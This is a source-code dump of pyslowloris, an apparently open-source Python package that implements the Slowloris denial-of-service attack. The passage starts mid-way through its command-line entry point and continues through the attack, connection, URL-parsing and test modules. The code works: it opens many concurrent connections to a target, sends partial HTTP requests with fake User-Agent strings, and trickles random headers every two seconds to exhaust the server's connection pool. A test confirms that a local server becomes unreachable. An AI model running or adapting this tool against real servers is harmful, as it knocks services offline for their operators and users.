mode] - bool" 47 | ) 48 | 49 | # TODO(mkrivich): add support of this flag 50 | # parser.add_argument( 51 | # "-v", "--verbose", action='store_false', 52 | # help="Produce more logs - bool" 53 | # ) 54 | 55 | if len(sys.argv) == 1: 56 | parser.print_help() 57 | sys.exit(-1) 58 | 59 | result = {} 60 | 61 | args = parser.parse_args() 62 | if args.url: 63 | try: 64 | result["address"] = HostAddress.from_url(args.url) 65 | except Exception: 66 | parser.print_help() 67 | sys.exit(-1) 68 | if not (0 < args.connection_count <= 300): 69 | parser.print_help() 70 | sys.exit(-1) 71 | result["connections_count"] = args.connection_count 72 | result["silent"] = args.silent 73 | 74 | return result 75 | 76 | 77 | def _run(target: HostAddress, connections_count: int, silent: bool) -> None: 78 | print("Attack info:") 79 | print(f"\tTarget: {str(target)}({target.ip_address})") 80 | print(f"\tConnection count: {connections_count}") 81 | print(f"\tMode (silent): {silent}") 82 | loris = SlowLorisAttack(target, connections_count, silent=silent) 83 | loris.start() 84 | 85 | 86 | def main(): 87 | args = _parse_args() 88 | # Sending requests until Ctrl+C is pressed 89 | try: 90 | _run(args["address"], args["connections_count"], args["silent"]) 91 | except KeyboardInterrupt: 92 | sys.exit(0) 93 | except Exception as ex: 94 | print(ex) 95 | -------------------------------------------------------------------------------- /pyslowloris/attack.py: -------------------------------------------------------------------------------- 1 | """ 2 | MIT License 3 | 4 | Copyright (c) 2020 Maxim Krivich 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | """ 24 | 25 | import random 26 | 27 | import trio 28 | 29 | from pyslowloris import HostAddress, SlowLorisConnection 30 | from pyslowloris import exceptions as exc 31 | 32 | 33 | class SlowLorisAttack: 34 | __slots__ = ("_target", "_silent", "_connections_count", "_sleep_time", ) 35 | 36 | DEFAULT_SLEEP_TIME = 2 37 | DEFAULT_RANDOM_RANGE = [1, 999999] 38 | 39 | def __init__( 40 | self, target: HostAddress, connections_count: int, 41 | *, sleep_time: int = None, silent: bool = True 42 | ): 43 | self._target = target 44 | self._silent = silent 45 | self._connections_count = connections_count 46 | self._sleep_time = sleep_time or self.DEFAULT_SLEEP_TIME 47 | 48 | def __repr__(self) -> str: 49 | internal_dict = {key: getattr(self, key) for key in self.__slots__} 50 | args = ",".join([f"{k}={repr(v)}" for (k, v) in internal_dict.items()]) 51 | return f"{self.__class__.__name__}({args.rstrip(',')})" 52 | 53 | async def _atack_coroutine(self) -> None: 54 | while True: 55 | try: 56 | conn = SlowLorisConnection(self._target) 57 | await conn.establish_connection() 58 | async with conn.with_stream(): 59 | await conn.send_initial_headers() 60 | 61 | while True: 62 | rand = random.randint(*self.DEFAULT_RANDOM_RANGE) 63 | await conn.send(f"X-a: {rand}\r\n") 64 | await trio.sleep(self._sleep_time) 65 | 66 | except trio.BrokenResourceError as e: 67 | if not self._silent: 68 | raise exc.ConnectionClosedError("Socket is broken.") from e 69 | 70 | async def _run(self) -> None: 71 | async with trio.open_nursery() as nursery: 72 | for _ in range(self._connections_count): 73 | nursery.start_soon(self._atack_coroutine) 74 | 75 | def start(self) -> None: 76 | """Start slow loris attack.""" 77 | try: 78 | trio.run(self._run) 79 | except exc.ConnectionClosedError: 80 | raise 81 | except OSError: 82 | # Too much opened connections 83 | if not self._silent: 84 | raise exc.TooManyActiveConnectionsError( 85 | "Too many opened connections." 86 | ) 87 | except Exception as ex: 88 | raise exc.SlowLorisBaseError("Something went wrong.") from ex 89 | -------------------------------------------------------------------------------- /pyslowloris/connection.py: -------------------------------------------------------------------------------- 1 | """ 2 | MIT License 3 | 4 | Copyright (c) 2020 Maxim Krivich 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | """ 24 | import fake_useragent 25 | import trio 26 | 27 | from pyslowloris import HostAddress 28 | from pyslowloris import exceptions as exc 29 | 30 | 31 | class SlowLorisConnection: 32 | __slots__ = ( 33 | "_stream", "_target", "_fake_agent", 34 | "_headers", 35 | ) 36 | 37 | DEFAULT_HEADERS = { 38 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*", 39 | "Accept-Encoding": "gzip, deflate", 40 | "Accept-Language": "ru,en-us;q=0.7,en;q=0.3", 41 | "Accept-Charset": "windows-1251,utf-8;q=0.7,*;q=0.7", 42 | "Connection": "keep-alive" 43 | } 44 | 45 | def __init__(self, target: HostAddress, headers: dict = None): 46 | self._target = target 47 | self._headers = headers or self.DEFAULT_HEADERS 48 | self._stream = None 49 | 50 | try: 51 | self._fake_agent = fake_useragent.UserAgent() 52 | except fake_useragent.FakeUserAgentError as fe: 53 | raise exc.UserAgentError("Can't create fake-agent object.") from fe 54 | 55 | def __repr__(self) -> str: 56 | internal_dict = {key: getattr(self, key) for key in self.__slots__} 57 | args = ",".join([f"{k}={repr(v)}" for (k, v) in internal_dict.items()]) 58 | return f"{self.__class__.__name__}({args.rstrip(',')})" 59 | 60 | async def establish_connection(self): 61 | # TODO(mkrivich): check error here 62 | # TODO(mkrivich): think about proxy and ssl-proxies 63 | # (ssl-on-top-of-ssl), proxy auth 64 | params = { 65 | "host": self._target.ip_address, 66 | "port": self._target.port, 67 | } 68 | func = "open_tcp_stream" 69 | if self._target.ssl: 70 | # Could cause weird erros with ssl handshake 71 | # See https://trio.readthedocs.io/en/stable/ 72 | # reference-io.html?highlight=ssl#trio.SSLStream.do_handshake 73 | func = "open_ssl_over_tcp_stream" 74 | params.update({"https_compatible": True}) 75 | 76 | self._stream = await getattr(trio, func)(**params) 77 | 78 | def with_stream(self): 79 | return self._stream 80 | 81 | async def send_initial_headers(self) -> None: 82 | """Initialize http connection with remote server.""" 83 | # TODO(mkrivich): think about defferent http version support 84 | lines = [ 85 | f"GET {self._target.path} HTTP/1.1\r\n", 86 | f"Host: {self._target.host}\r\n", 87 | f"User-Agent: {self._fake_agent.random}\r\n" 88 | ] 89 | lines.extend([f"{k}: {v}\r\n" for k, v in self._headers.items()]) 90 | 91 | # send_stringing initial headers 92 | for line in lines: 93 | await self.send(line) 94 | 95 | async def send(self, string: str, encoding: str = "latin-1") -> None: 96 | """Send string over established connection.""" 97 | await self._stream.send_all(data=string.encode(encoding)) 98 | -------------------------------------------------------------------------------- /pyslowloris/exceptions.py: -------------------------------------------------------------------------------- 1 | """ 2 | MIT License 3 | 4 | Copyright (c) 2020 Maxim Krivich 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | """ 24 | 25 | 26 | class SlowLorisBaseError(Exception): 27 | pass 28 | 29 | 30 | class InvalidURIError(SlowLorisBaseError): 31 | pass 32 | 33 | 34 | class HostnameNotFoundedError(InvalidURIError): 35 | pass 36 | 37 | 38 | class ConnectionClosedError(SlowLorisBaseError): 39 | pass 40 | 41 | 42 | class UserAgentError(SlowLorisBaseError): 43 | pass 44 | 45 | 46 | class TooManyActiveConnectionsError(SlowLorisBaseError): 47 | pass 48 | -------------------------------------------------------------------------------- /pyslowloris/logger.py: -------------------------------------------------------------------------------- 1 | import jk_triologging 2 | 3 | 4 | class Logger: 5 | 6 | def __init__(self): 7 | self._log = jk_triologging.TrioConsoleLogger.create() 8 | 9 | async def debug(self, *args, **kwargs): 10 | await self._log.debug(*args, **kwargs) 11 | 12 | async def info(self, *args, **kwargs): 13 | await self._log.info(*args, **kwargs) 14 | 15 | async def error(self, *args, **kwargs): 16 | await self._log.error(*args, **kwargs) 17 | 18 | async def warn(self, *args, **kwargs): 19 | await self._log.warn(*args, **kwargs) 20 | 21 | 22 | log = Logger() 23 | -------------------------------------------------------------------------------- /pyslowloris/uri_info.py: -------------------------------------------------------------------------------- 1 | """ 2 | MIT License 3 | 4 | Copyright (c) 2020 Maxim Krivich 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | """ 24 | import socket 25 | 26 | from urllib.parse import urlparse 27 | 28 | from pyslowloris import exceptions as exc 29 | from pyslowloris import utils as u 30 | 31 | 32 | class HostAddress: 33 | __slots__ = ("host", "path", "port", "ssl", "scheme", "_ip", ) 34 | 35 | def __init__( 36 | self, scheme: str, host: str, 37 | path: str, port: int, ssl: bool = False 38 | ): 39 | self.host = host 40 | self.path = path 41 | self.port = port 42 | self.ssl = ssl 43 | self.scheme = scheme 44 | self._ip = None 45 | 46 | if not self._validate_uri(): 47 | raise exc.InvalidURIError("The uri is not valid.") 48 | 49 | def __str__(self) -> str: 50 | return self._create_uri() 51 | 52 | def __repr__(self) -> str: 53 | internal_dict = {key: getattr(self, key) for key in self.__slots__} 54 | args = ",".join([f"{k}={repr(v)}" for (k, v) in internal_dict.items()]) 55 | return f"{self.__class__.__name__}({args.rstrip(',')})" 56 | 57 | @classmethod 58 | def from_url(cls, url: str, ssl: bool = False): 59 | """Construct a request for the specified URL.""" 60 | port = None 61 | try: 62 | res = urlparse(url) 63 | port = res.port 64 | except Exception as ex: 65 | raise exc.InvalidURIError("Invalid uri string") from ex 66 | else: 67 | # scheme will be validated in the constructor 68 | if res.scheme: 69 | ssl = res.scheme[-1] == "s" 70 | if not port: 71 | port = 443 if ssl else 80 72 | 73 | return cls( 74 | scheme=res.scheme or "http", 75 | host=res.hostname, 76 | port=port, 77 | path=res.path or "/", 78 | ssl=ssl, 79 | ) 80 | 81 | def _create_uri(self) -> str: 82 | return f"{self.scheme}://{self.host}:{self.port}{self.path}" 83 | 84 | def _validate_uri(self) -> bool: 85 | return u.validate_url(self._create_uri()) 86 | 87 | @property 88 | def ip_address(self): 89 | if not self._ip: 90 | try: 91 | self._ip = socket.gethostbyname(self.host) 92 | except socket.error: 93 | raise exc.HostnameNotFoundedError( 94 | f"Error resolving DNS for {self.host}." 95 | ) 96 | 97 | return self._ip 98 | -------------------------------------------------------------------------------- /pyslowloris/utils.py: -------------------------------------------------------------------------------- 1 | """ 2 | MIT License 3 | 4 | Copyright (c) 2020 Maxim Krivich 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | """ 24 | import re 25 | 26 | 27 | url_pattern = re.compile( 28 | r"^(?:http)s?://" # http:// or https:// 29 | # domain... 30 | r"(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)" 31 | r"+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|" 32 | r"localhost|" # localhost... 33 | r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})" # ...or ip 34 | r"(?::\d+)?" # optional port 35 | r"(?:/?|[/?]\S+)$", re.IGNORECASE 36 | ) 37 | 38 | 39 | def validate_url(url: str) -> bool: 40 | return bool(url_pattern.match(url)) 41 | -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxkrivich/SlowLoris/542d67f4c4e9a8dbf7c161c44148a225d5921ea3/tests/__init__.py -------------------------------------------------------------------------------- /tests/test_slowloris.py: -------------------------------------------------------------------------------- 1 | """ 2 | MIT License 3 | 4 | Copyright (c) 2020 Maxim Krivich 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | """ 24 | import dataclasses 25 | import multiprocessing 26 | import socketserver 27 | 28 | from http import server 29 | 30 | import pytest 31 | import trio 32 | 33 | import pyslowloris 34 | 35 | 36 | @dataclasses.dataclass 37 | class ServerConfig: 38 | HOST: str = "0.0.0.0" 39 | PORT: int = 7887 40 | POOL_SIZE: int = 2 41 | 42 | conf = ServerConfig() 43 | 44 | def _create_and_serve(): 45 | ForkingHTTPServer = type( 46 | "ForkingHTTPServer", 47 | (socketserver.ForkingMixIn, server.HTTPServer), {} 48 | ) 49 | ForkingHTTPServer.max_children = conf.POOL_SIZE 50 | 51 | with ForkingHTTPServer(("", conf.PORT), server.BaseHTTPRequestHandler) as s: 52 | s.serve_forever() 53 | 54 | 55 | @pytest.fixture(name="server") 56 | def fixture_server(): 57 | p = multiprocessing.Process(target=_create_and_serve) 58 | p.start() 59 | yield 60 | p.terminate() 61 | 62 | 63 | # @pytest.mark.skip("FIXME(mkrivich): web-server is not working") 64 | async def test_pyslowloris(server, nursery): 65 | host_url = f"http://{conf.HOST}:{conf.PORT}" 66 | 67 | # TODO(mkrivich): add wait_for(conf.HOST, conf.PORT) 68 | await trio.sleep(22) # waiting 22 seconds for the server 69 | 70 | url = pyslowloris.HostAddress.from_url(host_url) 71 | loris = pyslowloris.SlowLorisAttack(url, conf.POOL_SIZE, silent=True) 72 | 73 | # run internal method with nursery 74 | nursery.start_soon(loris._run) 75 | 76 | await trio.sleep(4) 77 | 78 | stream = await trio.open_tcp_stream(conf.HOST, conf.PORT) 79 | async with stream: 80 | await stream.send_all(b"GET / HTTP/1.1\r\n\r\n") 81 | 82 | with trio.move_on_after(10): 83 | await stream.receive_some(1) 84 | pytest.fail("The server is reachable.") 85 | -------------------------------------------------------------------------------- /tests/test_url_info.py: -------------------------------------------------------------------------------- 1 | """ 2 | MIT License 3 | 4 | Copyright (c) 2020 Maxim Krivich 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | """ 24 | import unittest 25 | 26 | import pytest 27 | 28 | from pyslowloris import HostAddress 29 | from pyslowloris import exceptions as exc 30 | 31 | 32 | class URIInfoTest(unittest.TestCase): 33 | def test_valid_uri(self): 34 | # checking http 35 | url = 'http://127.0.0.1' 36 | host = HostAddress.from_url(url) 37 | assert f'{url}:80/' == str(host) 38 | 39 | # checking https 40 | url = 'https://127.0.0.1' 41 | host = HostAddress.from_url(url) 42 | assert f'{url}:443/' == str(host) 43 | 44 | def test_invalid_uri(self): 45 | # not supported type of scheme 46 | with pytest.raises(exc.InvalidURIError): 47 | HostAddress.from_url('invalid_scheme://127.0.0.1') 48 | 49 | # invalid port value 50 | with pytest.raises(exc.InvalidURIError): 51 | HostAddress.from_url('http://127.0.0.1:invalid_port') 52 | 53 | # port is out of the allowed range 54 | with pytest.raises(exc.InvalidURIError): 55 | HostAddress.from_url('http://127.0.0.1:999999999999') 56 | 57 | # without scheme 58 | with pytest.raises(exc.InvalidURIError): 59 | host = HostAddress.from_url('127.0.0.1') 60 | --------------------------------------------------------------------------------